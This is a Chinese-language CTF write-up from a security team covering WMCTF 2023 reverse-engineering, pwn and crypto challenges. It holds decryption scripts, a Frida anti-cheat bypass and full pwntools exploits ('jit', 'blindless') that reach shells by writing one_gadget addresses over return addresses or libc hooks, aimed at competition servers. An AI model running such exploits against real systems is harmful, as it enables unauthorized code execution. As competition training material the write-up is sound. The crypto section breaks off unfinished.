HEADER
团队简介:
山海关安全团队(www.shg-sec.com)是一支专注网络安全的实战型团队,队员均来自国内外各大高校与企事业单位,主要从事漏洞挖掘、情报分析、反涉网犯罪研究。Arr3stY0u(意喻”逮捕你“)战队与W4ntY0u(意喻”通缉你“)预备队隶属于CTF组,我们积极参与国内外各大网络安全竞赛的同时并依托高超的逆向分析与情报分析、渗透测试技术为群众网络安全保驾护航尽一份力,简单粗暴,向涉网犯罪开炮。
REVERSE
ezAndroid:
安卓签到题 ollvm+rc4魔改+aes魔改,java层的逻辑比较简单。
public void CheckOutClick(View view) {
String username = this.usernameInput.getText().toString();
String password = this.passwordInput.getText().toString();
if (username.equals("") || password.equals("")) {
messageBox("username or password is empty!");
} else if (CheckUsername(username) != 1) {
messageBox("failed login");
} else {
x = username + "123456";
if (check2(password) != 1) {
messageBox("failed login");
return;
}
String flag = "WMCTF{" + username + password + "}";
messageBox(flag);
}
}
so .init_array有四个函数
0x2DE8 init enc_username
0x2FB4 patch aes sbox
0x3304 init enc_password
0x3538 应该是反调试 没细看
第一部分:
rc4魔改 异或下标
buf[index] = data[index] ^ v22[(unsigned __int8)(v22[v21 + 256] + v22[v15 + 256]) + 256] ^ index;
// 0x3DCC:
rc4(username, outbuf, v20, key, v50);
// *(_WORD *)&v3[8] = 0x43AB;
// *(_QWORD *)v3 = 0xC1BDEB7EE66497E9LL;
v14 = memcmp(v30, enc_username, 10u);
解完rc4得到'Rd]2wZcf[p' ,然后异或下标得到第一部分的flag。
a = b'Rd]2wZcf[p'
b = [0]*len(a)
for i in range(len(a)):
b[i] = (a[i]^i)
print(bytes(b)) # 'Re_1s_eaSy'
第二部分:
// 0x4364:
aes((__int64)buf_passwd, 16, str_x);
// g_enc_password
v4 = memcmp(enc_password, buf_passwd, v8);
计算逆s盒:
sbox = [0x29, 0x40, 0x57, 0x6E, 0x85, 0x9C, 0xB3, 0xCA, 0xE1, 0xF8, 0x0F, 0x26, 0x3D, 0x54, 0x6B, 0x82, 0x99, 0xB0, 0xC7, 0xDE, 0xF5, 0x0C, 0x23, 0x3A, 0x51, 0x68, 0x7F, 0x96, 0xAD, 0xC4, 0xDB, 0xF2, 0x09, 0x20, 0x37, 0x4E, 0x65, 0x7C, 0x93, 0xAA, 0xC1, 0xD8, 0xEF, 0x06, 0x1D, 0x34, 0x4B, 0x62, 0x79, 0x90, 0xA7, 0xBE, 0xD5, 0xEC, 0x03, 0x1A, 0x31, 0x48, 0x5F, 0x76, 0x8D, 0xA4, 0xBB, 0xD2, 0xE9, 0x00, 0x17, 0x2E, 0x45, 0x5C, 0x73, 0x8A, 0xA1, 0xB8, 0xCF, 0xE6, 0xFD, 0x14, 0x2B, 0x42, 0x59, 0x70, 0x87, 0x9E, 0xB5, 0xCC, 0xE3, 0xFA, 0x11, 0x28, 0x3F, 0x56, 0x6D, 0x84, 0x9B, 0xB2, 0xC9, 0xE0, 0xF7, 0x0E, 0x25, 0x3C, 0x53, 0x6A, 0x81, 0x98, 0xAF, 0xC6, 0xDD, 0xF4, 0x0B, 0x22, 0x39, 0x50, 0x67, 0x7E, 0x95, 0xAC, 0xC3, 0xDA, 0xF1, 0x08, 0x1F, 0x36, 0x4D, 0x64, 0x7B, 0x92, 0xA9, 0xC0, 0xD7, 0xEE, 0x05, 0x1C, 0x33, 0x4A, 0x61, 0x78, 0x8F, 0xA6, 0xBD, 0xD4, 0xEB, 0x02, 0x19, 0x30, 0x47, 0x5E, 0x75, 0x8C, 0xA3, 0xBA, 0xD1, 0xE8, 0xFF, 0x16, 0x2D, 0x44, 0x5B, 0x72, 0x89, 0xA0, 0xB7, 0xCE, 0xE5, 0xFC, 0x13, 0x2A, 0x41, 0x58, 0x6F, 0x86, 0x9D, 0xB4, 0xCB, 0xE2, 0xF9, 0x10, 0x27, 0x3E, 0x55, 0x6C, 0x83, 0x9A, 0xB1, 0xC8, 0xDF, 0xF6, 0x0D, 0x24, 0x3B, 0x52, 0x69, 0x80, 0x97, 0xAE, 0xC5, 0xDC, 0xF3, 0x0A, 0x21, 0x38, 0x4F, 0x66, 0x7D, 0x94, 0xAB, 0xC2, 0xD9, 0xF0, 0x07, 0x1E, 0x35, 0x4C, 0x63, 0x7A, 0x91, 0xA8, 0xBF, 0xD6, 0xED, 0x04, 0x1B, 0x32, 0x49, 0x60, 0x77, 0x8E, 0xA5, 0xBC, 0xD3, 0xEA, 0x01, 0x18, 0x2F, 0x46, 0x5D, 0x74, 0x8B, 0xA2, 0xB9, 0xD0, 0xE7, 0xFE, 0x15, 0x2C, 0x43, 0x5A, 0x71, 0x88, 0x9F, 0xB6, 0xCD, 0xE4, 0xFB, 0x12]
rsbox = [0]*256
for i in range(256):
rsbox[i] = sbox.index(i)
print(rsbox)
AES解密:
下载tiny-AES-c,然后把sbox和rsbox替换成题目所需,就能正常解密出flag了
#include <stdio.h>
unsigned char hexData[16] = {
0x2B, 0xC8, 0x20, 0x8B, 0x5C, 0x0D, 0xA7, 0x9B, 0x2A, 0x51, 0x3A, 0xD2, 0x71, 0x71, 0xCA, 0x50
};
int main() {
struct AES_ctx ctx;
AES_init_ctx(&ctx, (uint8_t *)"Re_1s_eaSy123456");
AES_ECB_decrypt(&ctx, hexData);
printf("%sn", hexData); // _eZ_Rc4_@nd_AES!
}
拼起来得到完整flag:
WMCTF{Re_1s_eaSy_eZ_Rc4_@nd_AES!}
RightBack:
不会去花,做复杂了。先用xdis反汇编pyc。
动态trace脚本:
import RightBack
import sys
g_eip_set = set()
def test(a,b,c):
global b64
code = a.f_code
if 'RightBack.py' in str(a):
s = f'{code.co_name} {a.f_locals}'
print(s.ljust(50, ' ') , a.f_globals.get('REG', {}))
if 'REG' in a.f_globals:
g_eip_set.add(a.f_globals['REG']['EIP'])
if 'Fun' == code.co_name:
print(a.f_globals['extendKey'])
sys.settrace(test)
RightBack.Sbox = [82, 9, 106, 213, 48, 54, 165, 56, 191, 64, 163, 158, 129, 243, 215, 251, 124, 227, 57, 130, 155, 47, 255, 135, 52, 142, 67, 68, 196, 222, 233, 203, 84, 123, 148, 50, 166, 194, 35, 61, 238, 76, 149, 11, 66, 250, 195, 78, 8, 46, 161, 102, 40, 217, 36, 178, 118, 91, 162, 73, 109, 139, 209, 37, 114, 248, 246, 100, 134, 104, 152, 22, 212, 164, 92, 204, 93, 101, 182, 146, 108, 112, 72, 80, 253, 237, 185, 218, 94, 21, 70, 87, 167, 141, 157, 132, 144, 216, 171, 0, 140, 188, 211, 10, 247, 228, 88, 5, 184, 179, 69, 6, 208, 44, 30, 143, 202, 63, 15, 2, 193, 175, 189, 3, 1, 19, 138, 107, 58, 145, 17, 65, 79, 103, 220, 234, 151, 242, 207, 206, 240, 180, 230, 115, 150, 172, 116, 34, 231, 173, 53, 133, 226, 249, 55, 232, 28, 117, 223, 110, 71, 241, 26, 113, 29, 41, 197, 137, 111, 183, 98, 14, 170, 24, 190, 27, 252, 86, 62, 75, 198, 210, 121, 32, 154, 219, 192, 254, 120, 205, 90, 244, 31, 221, 168, 51, 136, 7, 199, 49, 177, 18, 16, 89, 39, 128, 236, 95, 96, 81, 127, 169, 25, 181, 74, 13, 45, 229, 122, 159, 147, 201, 156, 239, 160, 224, 59, 77, 174, 42, 245, 176, 200, 235, 187, 60, 131, 83, 153, 97, 23, 43, 4, 126, 186, 119, 214, 38, 225, 105, 20, 99, 85, 33, 12, 125]
RightBack.Rcon = [16777216, 33554432, 67108864, 134217728, 268435456, 536870912, 1073741824, 2147483648, 452984832, 905969664]
RightBack.reg_table = {
'1':'EAX',
'2':'EBX',
'3':'ECX',
'4':'EDX',
'5':'R8',
'6':'CNT',
'7':'EIP',
}
RightBack.extendKey = RightBack.p2(b'CalmDownBelieveU')
# RightBack.extendKey = 44*[0]
RightBack.opcode = bytes.fromhex('500303001d010103500303011d0102031d030601710102500203015002050272021f290102500304209602040274030457010350020206dc030202500103021d02010350020205710201500203025002040172041f290204500305209602050474030557020350020306dc0303021d030301500104031d0202040799ff')
back = RightBack.Fun(b'0'*8+b'1'*8+b'2'*8+b'3'*8+b'4'*8+b'5'*8+b'6'*8+b'7'*8)
print(back.hex())
print(g_eip_set)
print(RightBack.extendKey)
VM字节码转伪代码。
eip_set = [0, 4, 8, 12, 16, 20, 23, 27, 31, 34, 37, 41, 45, 48, 51, 55, 59, 63, 67, 71, 74, 78, 82, 85, 88, 92, 96, 99, 102, 106, 110, 114, 118, 122, 123, 124]
bytecode = bytes.fromhex('500303001d010103500303011d0102031d030601710102500203015002050272021f290102500304209602040274030457010350020206dc030202500103021d02010350020205710201500203025002040172041f290204500305209602050474030557020350020306dc0303021d030301500104031d0202040799ff')
ins = b''
pc = 0
while True:
if pc in eip_set or pc >= len(bytecode):
t = ''
if ins:
if ins[0] == 0x50:
v1, v2, v3 = ins[1], ins[2], ins[3]
if v1 == 1:
t = f'F2 | r{v2} = extendKey[r{v3}]'
elif v1 == 2:
t = f'F2 | r{v2} = r{v3}'
elif v1 == 3:
t = f'F2 | r{v2} = {v3}'
elif ins[0] == 0x1D:
v1, v2, v3 = ins[1], ins[2], ins[3]
if v1 == 1:
t = f'F3 | r{v2} += extendKey[r{v3}]'
elif v1 == 2:
t = f'F3 | r{v2} += r{v3}'
elif v1 == 3:
t = f'F3 | r{v2} += {v3}'
elif ins[0] == 0x71:
t = f'F4 | r{ins[1]} ^= r{ins[2]}'
elif ins[0] == 0x72:
t = f'F5 | r{ins[1]} &= {ins[2]}'
elif ins[0] == 0x96:
v1, v2, v3 = ins[1], ins[2], ins[3]
if v1 == 1:
t = f'F6 | r{v2} -= extendKey[r{v3}]'
elif v1 == 2:
t = f'F6 | r{v2} -= r{v3}'
elif v1 == 3:
t = f'F6 | r{v2} -= {v3}'
elif ins[0] == 0x57:
t = f'F7 | r{ins[1]} |= r{ins[2]}'
elif ins[0] == 0x74:
t = f'F8 | r{ins[1]} >>= r{ins[2]}'
elif ins[0] == 0x29:
t = f'F9 | r{ins[1]} <<= r{ins[2]}'
elif ins[0] == 0xDC:
v1, v2, v3 = ins[1], ins[2], ins[3]
if v1 == 1:
t = f'FA | r{v2} *= extendKey[r{v3}]'
elif v1 == 2:
t = f'FA | r{v2} *= r{v3}'
elif v1 == 3:
t = f'FA | r{v2} *= {v3}'
elif ins[0] == 0x07:
t = f'FB | cmp r6, 21'
elif ins[0] == 0x99:
t = f'WC | jne L_10'
print(f'{ins.hex():<10} {t}')
print(f'{pc:04X} ', end='')
ins = b''
if pc >= len(bytecode):
break
ins += bytes([bytecode[pc]])
pc += 1
vm伪代码:
0000 50030300 F2 | r3 = 0
0004 1d010103 F3 | r1 += extendKey[r3]
0008 50030301 F2 | r3 = 1
000C 1d010203 F3 | r2 += extendKey[r3]
0010 1d030601 F3 | r6 += 1
0014 710102 F4 | r1 ^= r2
0017 50020301 F2 | r3 = r1
001B 50020502 F2 | r5 = r2
001F 72021f F5 | r2 &= 31
0022 290102 F9 | r1 <<= r2
0025 50030420 F2 | r4 = 32
0029 96020402 F6 | r4 -= r2
002D 740304 F8 | r3 >>= r4
0030 570103 F7 | r1 |= r3
0033 50020206 F2 | r2 = r6
0037 dc030202 FA | r2 *= 2
003B 50010302 F2 | r3 = extendKey[r2]
003F 1d020103 F3 | r1 += r3
0043 50020205 F2 | r2 = r5
0047 710201 F4 | r2 ^= r1
004A 50020302 F2 | r3 = r2
004E 50020401 F2 | r4 = r1
0052 72041f F5 | r4 &= 31
0055 290204 F9 | r2 <<= r4
0058 50030520 F2 | r5 = 32
005C 96020504 F6 | r5 -= r4
0060 740305 F8 | r3 >>= r5
0063 570203 F7 | r2 |= r3
0066 50020306 F2 | r3 = r6
006A dc030302 FA | r3 *= 2
006E 1d030301 F3 | r3 += 1
0072 50010403 F2 | r4 = extendKey[r3]
0076 1d020204 F3 | r2 += r4
007A 07 FB | cmp r6, 21
007B 99 WC | jne L_10
007C ff
007D
模拟出加密算法:
import struct
extendKey = [1835819331, 1853321028, 1768711490, 1432712805, 2177920767, 4020699579, 2261476601, 3551400604, 711874531, 3318306392, 1124217505, 2427199549, 3099853672, 2098025776, 1041196945, 2929936300, 246748610, 1941455090, 1303848803, 3809763535, 1395557789,
546751855, 1830937100, 2385871555, 2516030638, 3043054017, 3628118989, 1450520846, 1825094265, 3651791800, 32069749, 1469868411, 919887482, 4017993154, 4002737591, 3104343244, 4134211933, 420914335, 4152510760, 1317719524, 1990496755, 1873950060, 2553314372, 3602559392]
enc_flag = bytes.fromhex(
'043af23656b19afcf71e21dcdb8f8e944d34e79d9c520c6efbfad5fd32f9782cbbbe39c1d98575b628f8cc78a4e485920ebd72c5af87912a8bf1ef961660d112')
data = struct.unpack(
'>16I', b'0123456711111111222222223333333344444444555555556666666677777777')
r1 = 0
r2 = 0
enc_data = b''
for x in range(0, 16, 2):
r1 ^= data[x]
r2 ^= data[x+1]
r6 = 0
r1 = (r1+extendKey[0]) & 0xFFFFFFFF
r2 = (r2+extendKey[1]) & 0xFFFFFFFF
for i in range(21):
r6 += 1
r1 ^= r2
r3 = r1
r5 = r2
r2 &= 31
r1 = (r1 << r2) & 0xFFFFFFFF
r1 |= r3 >> (32-r2)
r1 = (r1+extendKey[r6 * 2]) & 0xFFFFFFFF
r2 = r5 ^ r1
r3 = r2
r4 = r1 & 31
r2 = (r2 << r4) & 0xFFFFFFFF
r2 |= r3 >> (32 - r4)
r2 = (r2+extendKey[r6 * 2 + 1]) & 0xFFFFFFFF
enc = struct.pack('>2I', r1, r2)
print(enc.hex())
enc_data += enc
print(enc_data.hex())
# enc_data == enc_flag
解密flag:
from Crypto.Util.number import long_to_bytes
import claripy
flag = []
extendKey = [1835819331, 1853321028, 1768711490, 1432712805, 2177920767, 4020699579, 2261476601, 3551400604, 711874531, 3318306392, 1124217505, 2427199549, 3099853672, 2098025776, 1041196945, 2929936300, 246748610, 1941455090, 1303848803, 3809763535, 1395557789,
546751855, 1830937100, 2385871555, 2516030638, 3043054017, 3628118989, 1450520846, 1825094265, 3651791800, 32069749, 1469868411, 919887482, 4017993154, 4002737591, 3104343244, 4134211933, 420914335, 4152510760, 1317719524, 1990496755, 1873950060, 2553314372, 3602559392]
enc = list(bytes.fromhex(
"043af23656b19afcf71e21dcdb8f8e944d34e79d9c520c6efbfad5fd32f9782cbbbe39c1d98575b628f8cc78a4e485920ebd72c5af87912a8bf1ef961660d112"))
enc_int = []
for i in range(0, len(enc), 4):
tmp = ""
for j in range(4):
tmp += hex(enc[i+j])[2:].zfill(2)
enc_int.append(int(tmp, 16))
for rd in range(len(enc_int)-2, -1, -2):
r1 = claripy.BVS("r1", 33)
r1_copy = r1
r2 = claripy.BVS("r2", 33)
r2_copy = r2
r3 = 0
r4 = 0
r5 = 0
r6 = 0
r1 += extendKey[r3]
r1 &= 0xFFFFFFFF
r3 = 1
r2 += extendKey[r3]
r2 &= 0xFFFFFFFF
for i in range(21):
r6 += 1
r1 ^= r2
r3 = r1
r5 = r2
r2 &= 31
r1 = (r1 << r2) & 0xFFFFFFFF
r1 |= r3 >> (32-r2)
r1 = (r1+extendKey[r6 * 2]) & 0xFFFFFFFF
r2 = r5 ^ r1
r3 = r2
r4 = r1 & 31
r2 = (r2 << r4) & 0xFFFFFFFF
r2 |= r3 >> (32 - r4)
r2 = (r2+extendKey[r6 * 2 + 1]) & 0xFFFFFFFF
s = claripy.Solver()
s.add(r1 == enc_int[rd])
s.add(r2 == enc_int[rd+1])
print(s.check_satisfiability())
if rd == 0:
flag.append(s.eval(r2_copy, 10)[0])
flag.append(s.eval(r1_copy, 10)[0])
else:
flag.append(s.eval(r2_copy, 10)[0] ^ enc_int[rd-1])
flag.append(s.eval(r1_copy, 10)[0] ^ enc_int[rd-2])
flag = flag[::-1]
for i in flag:
print(long_to_bytes(i).decode(), end="")
# WMCTF{G00dEv3ning!Y0uAreAwes0m3!!RightBackFromB1ackM1rr0r!WOW!!}
BabyAnti-2.0:
用的安卓模拟器做的,先把libanticheat.so里面的三个is_检测函数patch了。非了。
Java.perform(function() {
let AntiCheatPlugin = Java.use("com.WMCTF2023.anti_cheat.AntiCheatPlugin");
AntiCheatPlugin["a"].implementation = function (i2, i3) {
console.log(`AntiCheatPlugin.a is called: i2=${i2}, i3=${i3}`);
console.log(i2._a.value);
this["a"](i2, i3);
};
AntiCheatPlugin["b"].implementation = function (i2, i3) {
console.log(`AntiCheatPlugin.b is called: i2=${i2}, i3=${i3}`);
let result = this["b"](i2, i3);
console.log(`AntiCheatPlugin.b result=${result}`);
return true;
};
let Random = Java.use("java.util.Random");
Random["nextInt"].overload().implementation = function () {
console.log(`nextInt is called: `);
let result = this["nextInt"]();
console.log(`nextInt result=${result}`);
return result;
};
console.log(AntiCheatPlugin.b)
});
// https://www.cnblogs.com/Only-xiaoxiao/p/17294561.html
// 上面的脚本是搜VNCTF BabyAnti WP抄来的,不确定有没有起到作用。
// 直接用CE写会触发内存检测。
// 用CE搜当前得分, 然后用frida写入,然后就弹出flag了
ptr(0x701A00329AD0).writeInt(5000)
// WMCTF{We1c0me_t0_Th3_W0r1d_0f_MemTr4p#^-^}
gohunt:
一道简单的go动调题,部分库函数inline了,看着比较杂乱,多调试几次拿到数据就能理清楚了。
算法逻辑:输入的测试数据是00000000
// 'Please enter a flag:'
__fmt_pp__printArg(v8, __PAIR128__(v7, &unk_20D668), 118);
// read_flag
__fmt_ss__doScan(r.typecode, *xxtea_key);
// FMT2ZCEHS6pcfD2R
v13 = __encoding_base64_Encoding__DecodeString(aG6cdei4xgd7ojk, __PAIR128__(v12, 24LL));
...
xxtea
...
// NPWrpd1CEJH2QcJ3
xor_key = v35;
v38 = v36;
v39 = runtime_alloc(v16, 3LL);
for ( j = 0LL; v16 != j; ++j )
{
if ( !v38 )
goto LABEL_558;
if ( j % v38 >= v38 )
goto LABEL_533;
v39[j] = xor_key[j % v38] ^ b_flag[j];
}
v41 = 0LL;
// 00000000->
// 62 46 2c c0 bc ac d8 ed 4a c8 d9 ef 00 00 00 00
v572 = v39;
v42 = math_big_NewInt(0LL);
v43 = _math_big_nat__make(v42->abs.ptr, v42->abs.cap, (v16 + 7LL) / 8LL);
v45 = v39;
v47 = v46;
for...
if...
v588 = v16;
// ef d9 c8 4a ed d8 ac bc c0 2c 46 62 00 00 00 00
v42->abs.ptr = _math_big_nat__norm(v43, v44, v47);
// 转58进制
for ...
// 'nY7TwcE41bzWvMQZXa8fyeprJoBdmhsu9DqVgxRPtFLKN65UH2CikG3SAj'
LOBYTE(z.len) = main_alloc_484[v150];
v56 = runtime_sliceAppend(v56, &z.len, v145, srcCap, 1uLL, 1uLL);
// r15 = 4pizdvHLv3gmDq92Y
v59 = 0LL;
LABEL_121:
// r15 = enc_flag
iii = 0LL;
v158 = 0LL;
if ( v588 > 0LL )
v158 = v588;
while ( v158 != iii )
{
if ( v588 == iii )
goto LABEL_533;
// 62 46 2c c0 bc ac d8 ed 4a c8 d9 ef 00 00 00 00
if ( v155[iii] )
break;
v159 = runtime_alloc(1uLL, 3LL);
*v159 = 0x6E;
v160 = runtime_sliceAppend(v159, v56, 1uLL, 1uLL, v59, 1uLL);
v155 = v572;
v56 = v160;
v59 = v161;
++iii;
}
out_enc_flag = runtime_stringFromBytes(v56, v59);
v164 = v163;
v165 = runtime_alloc(0x18uLL, 3LL);
*(v165 + 8LL) = _mm_load_si128(&xmmword_200860);
v166 = runtime_alloc(0xA0uLL, 0x101F2A9LL);
v167.ptr = out_enc_flag;
v167.length = v164;
// 00000000->
// Y29qDmg3vLHvdzip4
// 63 6f 6a 0e 68 37 bc b1 ef 77 38 a9
v168 = runtime_stringToBytes(v167).ptr;
// 到这里算法逻辑就结束了后面的1000多行代码是生成二维码。
解密flag:
from libnum import n2s
table = 'nY7TwcE41bzWvMQZXa8fyeprJoBdmhsu9DqVgxRPtFLKN65UH2CikG3SAj'
key = b'NPWrpd1CEJH2QcJ3'
inp = b'00000000'
# xxtea(inp)
tmp_flag = bytearray.fromhex('2c 16 7b b2 cc c8 e9 ae 0f 82 91 dd')
for i in range(len(tmp_flag)):
tmp_flag[i] ^= key[i % len(key)]
tmp = int('0x'+tmp_flag.hex(), 16)
s = ''
# tmp = 0x62462cc0bcacd8ed4ac8d9ef
while tmp:
tmp, rem = divmod(tmp, 58)
s += table[rem]
s = s[::-1]
print(s)
# enc_flag = s
enc_flag = 'YMQHsYFQu7kkTqu3Xmt1ruYUDLU8uaMoPpsfjqYF4TQMMKtw5KF7cpWrkWpk3'
s = enc_flag
tmp = 0
for i in range(len(s)):
tmp *= 58
tmp += table.index(s[i])
print(hex(tmp))
tmp_flag = bytearray(n2s(tmp))
for i in range(len(tmp_flag)):
tmp_flag[i] ^= key[i % len(key)]
print(tmp_flag.hex())
# 9577b998e8d2960c1becc680f6004a581ea68ab15b4278b3feb44972d1c43ac537e09aff5062cc0c90026e1c
再进行一次xxtea解密就得到flag了
package main
import (
"encoding/hex"
"fmt"
"github.com/xxtea/xxtea-go/xxtea"
)
func main() {
key := "FMT2ZCEHS6pcfD2R"
byteData, _ := hex.DecodeString("9577b998e8d2960c1becc680f6004a581ea68ab15b4278b3feb44972d1c43ac537e09aff5062cc0c90026e1c")
decrypt_data := string(xxtea.Decrypt(byteData, []byte(key)))
fmt.Println(decrypt_data)
}
ezIos:
一道加了反调试和ollvm的ios逆向题目。
没设备和调试环境只能尝试静态或者模拟。
0x100004A9C rc4
0x100005434 xtea_dec
0x1000084DC lower_dedup_strcat 对输入进行小写+去重的操作并添加到末尾。
0x1000091E4 check函数 输入是flag
0x10000AAE4 获取两个字符串常量 com.ctf.running和TFVQV299BT
算法大致逻辑伪代码
check(inp):
// v99 = com.ctf.running
// v100 = TFVQV299BT
sub_10000AAE4((__int64)&v100, (__int64)&v99); // 后续用qiling模拟拿到。
...
*(_OWORD *)tea_key = 0u;
v121 = 0u;
lower_dedup_strcat(v100, (char *)tea_key);
free(v100);
lower_dedup_strcat(v99, (char *)tea_key);
free(v99);
// tea_key = 'tfvq29bcom.runig'
...
xtea(_enc_flag, (__int64)tea_key);
_enc_flag += 8;
xtea(_enc_flag, (__int64)tea_key);
rc4(tea_key, key_len, inp, buf_size, tmp_flag);
for (int v96 =0; v96 < 16; v96++)
v88 = enc_flag[v96] != tmp_flag[v96];
return v88;
可以看出来算法比较简单,静态除了拿不到那两个字符串外,整个算法逻辑都可以很快的理清楚。
key是通过两个字符串常量去重拼接后得来的,接下来用qiling模拟。
from qiling import Qiling
from qiling.const import QL_VERBOSE
from capstone import Cs
from capstone.arm64_const import *
def simple_disassembly(ql: Qiling, address: int, size: int, md: Cs) -> None:
buf = ql.mem.read(address, size)
insn = next(md.disasm(buf, address))
# ql.log.debug(f':: {insn.address:#x} : {insn.mnemonic:24s} {insn.op_str}')
if insn.id == ARM64_INS_BL:
dest = insn.operands[0].imm
if dest == 0x10000d788: # free
ql.arch.regs.arch_pc += size
elif dest == 0x10000D95C: # strdup
ql.arch.regs.arch_pc += size
elif dest == 0x10000D6C8: # _dyld_get_image_name
ql.arch.regs.x0 = 0
ql.arch.regs.arch_pc += size
elif dest == 0x10000D6BC: # _dyld_get_image_header
ql.arch.regs.x0 = 0x100000000
ql.arch.regs.arch_pc += size
elif dest == 0x10000D6D4: # _dyld_get_image_vmaddr_slide
ql.arch.regs.x0 = 0
ql.arch.regs.arch_pc += size
elif address == 0x100009D84:
print('CMP', hex(ql.arch.regs.w8), hex(ql.arch.regs.w9))
# 没有dyld不要怕, 随便找个ios程序改个名伪装一下.
ql = Qiling(["./UnCrackable Level 3"], ".", verbose=QL_VERBOSE.DEBUG)
ql.arch.disassembler.detail = True
ql.hook_code(simple_disassembly, user_data=ql.arch.disassembler)
ql.mem.map(0x6F10010000, 0x10000)
ql.arch.regs.x0 = 0x6F10010000
ql.mem.write(ql.arch.regs.x0, b'K3p1n2un#1n9!$#@') # flag可以爆
ql.run(0x1000091E4, 0x10000A998)
print(ql.arch.regs.x0)
爆破或者把xtea的解密结果拿出来用RC4解密都可以得到flag。
PWN
jit:
都在代码里了
from pwn import *
context.terminal = ['cmd.exe', '/c', 'start',
'wt.exe', 'wsl.exe', 'bash', '-c']
context.binary = './jit'
REMOTE = 1
if REMOTE: # REMOTE
r = remote('1.13.101.243', 28805)
else:
r = process('./jit')
sd, sa, sl, sla = r.send, r.sendafter, r.sendline, r.sendlineafter
rv, rl, ru, ia = r.recv, r.recvline, r.recvuntil, r.interactive
# rax rdi rsi rdx r9
# r8 rbx r13 r14 r15 rbp
m_regs = ['rax', 'rdi', 'rsi', 'rdx', 'r9',
'r8', 'rbx', 'r13', 'r14', 'r15', 'rbp']
def Inst(opcode, dst=0, src=0, offset=0, imm=0):
if isinstance(dst, str):
dst = m_regs.index(dst.lower().strip())
if isinstance(src, str):
src = m_regs.index(src.lower().strip())
inst = 0
inst |= opcode
inst |= dst << 8
inst |= src << 12
inst |= offset << 16
inst |= imm << 32
return inst
if not REMOTE:
script = '''b *$rebase(0x2947)
c
si
pid, gdb_io = gdb.attach(r, script, api=True)
sleep(1)
RAX 0x7f73a0c89000 ◂— push rbp
RBX 0x560fde308088 $rebase(0xE088)
R12 0x560fdfd765c0 —▸ 0x560fdfd76480 —▸ 0x560fdfd7642f ◂— 0x0
RBP 0x7fffe76cd218 ◂— 0x0
*RSP 0x7fffe76cd1f8 —▸ 0x560fde2fc949 ◂— mov edx, 8
0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
# https://github.com/iovisor/bpf-docs/blob/master/eBPF.md
def add_i(dst, imm): return Inst(0x07, dst, imm=imm)
def add_r(dst, src): return Inst(0x0f, dst, src)
def sub_i(dst, imm): return Inst(0x17, dst, imm=imm)
def mov_i(dst, imm): return Inst(0xb7, dst, imm=imm)
def mov_r(dst, src): return Inst(0xbf, dst, src)
def ld8(dst, src, off=0): return Inst(0x79, dst, src, off)
def st8_r(dst, src, off=0): return Inst(0x7b, dst, src, off)
# rax rdi rsi rdx r9 r8 rbx r13 r14 r15 rbp
prog = flat([
sub_i('rbx', 0xE088), # ELF 没用到
mov_r('rdi', 'rbp'),
sub_i('rdi', 0x200), # rsp 没用到
# $rbp+0x138 0x7fe94e175e40 (__libc_start_main+128)
ld8('rax', 'rbp', 0x138),
sub_i('rax', 0x24083), # libc 向前滑动 直到打印出 elf magic
mov_r('r14', 'rax'),
# ld8('rax', 'rax'), # 0xXXXXXXX464C457F
# ld8('rax', 'rax', 0x18), # start 0x241c0
# add_r('rax', 'r14'),
mov_r('r15', 'rbp'),
add_i('r15', 0x28), # 指向返回地址
# st8_r('r15', 'rax'), # GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.9) stable release version 2.31.
mov_i('rsi', 0),
mov_i('rdx', 0),
add_i('r14', 0xe3b04), # ogg
st8_r('r15', 'r14'),
])
mem = flat([])
sla(b'Program: ', prog.hex().encode())
sla(b'Memory: ', mem.hex().encode())
# print(rl().decode())
# pause()
ia()
# WMCTF{you_realy_know_how_to_pwn}
大概思路就是泄露出libc版本号后写ogg到返回地址。
blindless:
思路:
一开始data的size没有检查,如果size填写的足够大,data起始指针会指向由mmap创建的内存区域。这段内存会在libc地址前的一个固定位置,利用@指令去让data指针增大一个固定值,就可以穿过libc指向_rtld_global内的函数指针,之后可以低位覆盖三个字节将其覆盖成onegadget去打exit_hook,概率为1/4096,需要爆破,大约需要爆好几分钟。
没有利用到程序给的后门,不知道是不是非预期。
from pwn import *
context.terminal=['tmux','splitw','-h']
context.arch='amd64'
#context.log_level='debug'
ELFpath='/home/wjc/Desktop/main'
#libcpath='/home/wjc/glibc-all-in-one-master/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so'
#p=process(ELFpath)
#p=gdb.debug(ELFpath,"b*$rebase(0x2770)")
#p=remote('123.60.179.52',30098)
e=ELF(ELFpath)
#libc=ELF(libcpath)
rut=lambda s :p.recvuntil(s,timeout=0.5)
ru=lambda s :p.recvuntil(s)
r=lambda n :p.recv(n)
sl=lambda s :p.sendline(s)
sls=lambda s :p.sendline(str(s))
ss=lambda s :p.send(str(s))
s=lambda s :p.send(s)
uu64=lambda data :u64(data.ljust(8,'x00'))
it=lambda :p.interactive()
b=lambda :gdb.attach(p)
bp=lambda bkp:gdb.attach(p,'b *'+str(bkp))
get_leaked_libc = lambda :u64(ru('x7f')[-6:].ljust(8,'x00'))
get_addr_num = lambda :int(r(12),16)
LOGTOOL={}
def LOGALL():
log.success("**** all result ****")
for i in LOGTOOL.items():
log.success("%-20s%s"%(i[0]+":",hex(i[1])))
def get_base(a, text_name):
text_addr = 0
libc_base = 0
for name, addr in a.libs().items():
if text_name in name:
text_addr = addr
elif "libc" in name:
libc_base = addr
return text_addr, libc_base
def debug():
global p
text_base, libc_base = get_base(p, 'noka')
script = '''
set $text_base = {}
set $libc_base = {}
b*$rebase(0x14cc)
'''.format(text_base, libc_base)
# b*$rebase(0x124f)
#b*$rebase(0x1220)
# b*$rebase(0x887b)
gdb.attach(p, script)
def ptrxor(pos,ptr):
return p64((pos >> 12) ^ ptr)
def pwn():
ru("Pls input the data sizen")
sl("1048576")
ru("Pls input the code sizen")
sl("256")
ru("Pls input your coden")
pay="@"+p32(0x101000-0x10)+'@'+p32(0x222f68)+'.xfe@'+p32(1)+'.x6a@'+p32(1)+'.xebq'
pay=pay.ljust(0x100,'x00')
s(pay)
sl('cat /flag')
rut('flag{')
#debug()
#pwn()
#it()
#0x222f68
#eb 6a fe
if __name__=='__main__':
while(1):
try:
#p=process(ELFpath)
p=remote('1.13.101.243',27000)
pwn()
it()
break
except:
p.close()
CRYPTO
badprime:
类似于ROCA,即:
输入M,得到:
之后使用Coppersmith algorithm:
